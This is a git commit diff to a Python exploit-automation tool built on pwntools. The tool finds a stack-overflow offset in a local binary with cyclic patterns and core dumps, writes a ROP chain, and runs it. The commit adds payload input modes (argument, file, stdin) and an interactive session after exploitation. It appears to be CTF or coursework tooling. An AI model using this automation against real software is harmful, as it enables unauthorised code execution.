interactive process but bad

This commit is contained in:
Liam Dalgarno 2020-12-05 16:09:33 +00:00
parent 90836542ea
commit 07dd7e3060

View File

@ -9,7 +9,8 @@ from contextlib import redirect_stderr
from pwnlib.context import context
from pwnlib.elf.corefile import Coredump
from pwnlib.tubes.process import process, signal
from pwnlib.tubes.process import process, signal, PTY
from pwnlib import term
from pwnlib.util.cyclic import cyclic, cyclic_find
from pwnlib.util.packing import pack
from pwnlib import atexit as pwnlibexit
@ -39,6 +40,7 @@ arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", typ
arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run")
arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary")
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
args = arg_parser.parse_args()
@ -49,23 +51,36 @@ rop_exec_file = args.rop_exec_file
min_payload = args.min_payload
max_payload = args.max_payload
run = args.run
input_method = args.input_method
def run_program(exec_file: str, payload: str, mode: str, **kwargs):
p = None
if mode == 'arg':
p = process([f'./{exec_file}', payload], **kwargs)
elif mode == 'file':
with open('/tmp/input.txt', 'wb') as f:
f.write(payload)
f.flush()
p = process([f'./{exec_file}', '/tmp/input.txt'], **kwargs)
elif mode == 'stdin':
p = process([f'./{exec_file}'], **kwargs)
p.send(payload)
return p
def find_offset(exec_file: str, min_payload: int, max_payload: int):
print("[ Find Offset Length ]")
input_file = "/tmp/input.txt"
payload_size = min_payload
while payload_size <= max_payload:
print(f" ├─[🤔] Trying payload {payload_size}...")
with open(input_file, "wb") as f:
payload = cyclic(payload_size)
f.write(payload)
proc = process([f"./{exec_file}", input_file])
payload = cyclic(payload_size)
proc = run_program(exec_file, payload, input_method, alarm=2)
exit_code = proc.poll(block=True)
x = proc.readall()
print(x)
if exit_code != 0:
# ignore the warnings returned by pwnlib, if finding corefile fails then core is None
@ -108,9 +123,12 @@ with open("log/ropgadget.log", "wb") as f:
print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!")
if run:
atexit.unregister(pwnlibexit._run_handlers)
pwnlibexit._run_handlers()
print()
print(f"[ Run Program : ./{exec_file} {rop_file} ]")
os.execv(exec_file, [exec_file, rop_file])
with open(rop_file, 'rb') as f:
term.init()
p = run_program(exec_file, f.read(), input_method)
p.interactive()